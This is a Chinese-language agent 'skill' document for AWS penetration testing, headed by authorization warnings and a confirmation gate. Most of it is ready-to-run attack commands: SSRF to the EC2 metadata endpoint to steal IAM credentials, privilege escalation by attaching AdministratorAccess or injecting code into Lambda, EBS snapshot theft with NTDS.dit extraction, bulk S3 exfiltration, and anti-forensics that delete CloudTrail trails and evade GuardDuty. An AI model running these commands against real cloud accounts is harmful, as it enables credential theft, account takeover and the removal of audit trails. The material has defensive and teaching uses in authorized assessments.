AWS 渗透测试

aws-penetration-testing
分类编程
作者Agentic Awesome Skills 社区
许可MIT
评分4.80/5
使用6.2K

> ⚠️ 仅限授权使用
> 本技能仅用于教育目的或经授权的安全评估。
> 在使用此工具前,您必须获得系统所有者的明确书面许可。
> 未经授权滥用此工具属于非法行为,且被严格禁止。

> 强制确认关卡
> 在运行任何涉及探测、利用、修改、持久化、提取数据或尝试访问目标凭据的命令之前:
> 1. 要求用户提供确切的目标 URL、IP、账户或资源。
> 2. 要求用户确认书面授权及允许的范围。
> 3. 展示确切的命令并解释其预期效果。
> 4. 在当前对话中等待明确的确认。
>
> 在获得确认之前,请保持只读状态并仅提供防御性指导。优先建议使用沙箱、一次性虚拟机或受控实验室。

> 仅限授权使用:仅将此技能用于授权的安全评估、防御验证或受控的教育环境。

AWS 渗透测试

目的

提供针对 AWS 云环境渗透测试的全面技术。涵盖 IAM 枚举、权限提升、针对元数据端点的 SSRF、S3 存储桶利用、Lambda 代码提取以及红队行动的持久化技术。

输入/前提条件

  • 已配置凭据的 AWS CLI
  • 有效的 AWS 凭据(即使是低权限凭据)
  • 对 AWS IAM 模型的理解
  • Python 3, boto3 库
  • 工具:Pacu, Prowler, ScoutSuite, SkyArk

输出/交付物

  • IAM 权限提升路径
  • 提取的凭据和密钥
  • 被攻破的 EC2/Lambda/S3 资源
  • 持久化机制
  • 安全审计结果

---

核心工具

| 工具 | 用途 | 安装方式 |
|------|---------|--------------|
| Pacu | AWS 利用框架 | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | 影子管理员 (Shadow Admin) 发现 | Import-Module .\SkyArk.ps1 |
| Prowler | 安全审计 | pip install prowler |
| ScoutSuite | 多云审计 | pip install scoutsuite |
| enumerate-iam | 权限枚举 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |

---

核心工作流

第一步:初始枚举

识别被攻破的身份及其权限:

bash
# 检查当前身份
aws sts get-caller-identity

配置配置文件

aws configure --profile compromised

列出访问密钥

aws iam list-access-keys

枚举权限

./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

第二步:IAM 枚举

bash
# 列出所有用户
aws iam list-users

列出用户的组

aws iam list-groups-for-user --user-name TARGET_USER

列出附加策略

aws iam list-attached-user-policies --user-name TARGET_USER

列出内联策略

aws iam list-user-policies --user-name TARGET_USER

获取策略详情

aws iam get-policy --policy-arn POLICY_ARN aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

列出角色

aws iam list-roles aws iam list-attached-role-policies --rol
e-name ROLE_NAME
code
### 步骤 3:元数据 SSRF (EC2)

利用 SSRF 访问元数据端点 (IMDSv1):

bash

访问元数据端点


http://169.254.169.254/latest/meta-data/

获取 IAM 角色名称

http://169.254.169.254/latest/meta-data/iam/security-credentials/

提取临时凭证

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

响应内容包含:

{ "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2019-08-01T05:20:30Z" }
code
针对 IMDSv2 (需要 Token):
bash

先获取 Token

TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token")

使用 Token 发起请求

curl -H "X-aws-ec2-metadata-token:$TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
code
Fargate 容器凭证:
bash

读取环境变量以获取凭证路径

/proc/self/environ

查找:AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

访问凭证

http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
code
---

权限提升技术

影子管理员 (Shadow Admin) 权限

以下权限等同于管理员权限:

| 权限 | 利用方式 |
|------------|--------------|
| iam:CreateAccessKey | 为管理员用户创建密钥 |
| iam:CreateLoginProfile | 为任何用户设置密码 |
| iam:AttachUserPolicy | 为自己附加管理员策略 |
| iam:PutUserPolicy | 添加内联管理员策略 |
| iam:AddUserToGroup | 将自己添加到管理员组 |
| iam:PassRole + ec2:RunInstances | 启动带有管理员角色的 EC2 实例 |
| lambda:UpdateFunctionCode | 向 Lambda 函数注入代码 |

为其他用户创建访问密钥

bash aws iam create-access-key --user-name target_user
code
### 附加管理员策略
bash aws iam attach-user-policy --user-name my_username \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
code
### 添加内联管理员策略
bash aws iam put-user-policy --user-name my_username \ --policy-name admin_policy \ --policy-document file://admin-policy.json
code
### Lambda 权限提升
python

code.py - 注入到 Lambda 函数中

import boto3

def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response

code
bash

更新 Lambda 代码


aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
code
---

S3 存储桶利用

存储桶发现

bash

使用 bucket_finder

./bucket_finder.rb wordlist.txt ./bucket_finder.rb --download --region us-east-1 wordlist.txt

常见的存储桶 URL 模式

https://{bucket-name}.s3.amazonaws.com https://s3.amazonaws.com/{bucket-name}
code
### 存储桶枚举
bash

列出存储桶 (需凭证)

aws s3 ls

列出存储桶内容

aws s3 ls s3://bucket-name --recursive

下载所有文件

aws s3 sync s3://bucket-name ./local-folder
code
### 公开存储桶搜索
https://buckets.grayhatwarfare.com/
code
---

Lambda 利用

bash

列出 Lambda 函数

aws lambda list-functions

获取函数代码

aws lambda get-function --function-name FUNCTION_NAME

响应中会提供下载 URL

调用函数

aws lambda invoke --function-name FUNCTION_NAME output.txt
code
---

SSM 命令执行

Systems Manager 允许在 EC2 实例上执行命令

bash

列出受管实例


aws ssm describe-instance-information

执行命令

aws ssm send-command --instance-ids "i-0123456789" \ --document-name "AWS-RunShellScript" \ --parameters commands="whoami"

获取命令输出

aws ssm list-command-invocations --command-id "CMD-ID" \ --details --query "CommandInvocations[].CommandPlugins[].Output"
code
---

EC2 漏洞利用

挂载 EBS 卷

bash

为目标卷创建快照

aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

从快照创建卷

aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

挂载到攻击者实例

aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

挂载并访问

sudo mkdir /mnt/stolen sudo mount /dev/xvdf1 /mnt/stolen
code
### 卷影复制攻击 (Windows DC)
bash

CloudCopy 技术

1. 为 DC 卷创建快照

2. 将快照共享给攻击者账户

3. 在攻击者实例中挂载

4. 提取 NTDS.dit 和 SYSTEM

secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
code
---

通过 API 密钥访问控制台

将 CLI 凭据转换为控制台访问权限:

bash
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

生成用于控制台访问的登录 URL

code
---

掩盖痕迹

禁用 CloudTrail

bash

删除追踪

aws cloudtrail delete-trail --name trail_name

禁用全局事件

aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events

禁用特定区域

aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events --no-is-multi-region-trail
code
注意: Kali/Parrot/Pentoo Linux 会因 User-Agent 触发 GuardDuty 警报。建议使用可修改 User-Agent 的 Pacu。

---

快速参考

| 任务 | 命令 |
|------|---------|
| 获取身份 | aws sts get-caller-identity |
| 列出用户 | aws iam list-users |
| 列出角色 | aws iam list-roles |
| 列出存储桶 | aws s3 ls |
| 列出 EC2 | aws ec2 describe-instances |
| 列出 Lambda | aws lambda list-functions |
| 获取元数据 | curl http://169.254.169.254/latest/meta-data/ |

---

约束条件

必须:

  • 测试前获得书面授权

  • 记录所有操作以备审计

  • 仅在范围内的资源中进行测试

禁止:

  • 未经批准修改生产数据

  • 留下未记录的持久化后门

  • 永久禁用安全控制措施

建议:

  • 在尝试元数据攻击前检查是否为 IMDSv2

  • 在利用前进行彻底的枚举

  • 任务结束后清理测试资源

---

示例

示例 1:通过 SSRF 获取管理员权限

bash

1. 在 Web 应用中发现 SSRF 漏洞

https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

2. 从响应中获取角色名称

3. 提取凭据

https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

4. 使用窃取的凭据配置 AWS CLI

export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=...

5. 验证访问权限

aws sts get-caller-identity ```

---

故障排除

| 问题 | 解决方案 |
|-------|----------|
| 所有命令均提示 Access Denied | 使用 enumerate-iam 枚举权限 |
| 元数据端点被拦截 | 检查是否为 IMDSv2,尝试容器元数据 |
| GuardDuty 警报 | 使用带有自定义 User-Agent 的 Pacu |
| 凭据过期 | 重新获取 |
元数据(临时凭证轮转) |
| CloudTrail 日志记录操作 | 考虑禁用或进行日志脱敏 |

---

附加资源

如需了解高级技巧(包括 Lambda/API Gateway 利用、Secrets Manager & KMS、容器安全 (ECS/EKS/ECR)、RDS/DynamoDB 利用、VPC 横向移动以及安全检查清单),请参阅 references/advanced-aws-pentesting.md

适用场景

本技能适用于执行概览中所描述的工作流或操作。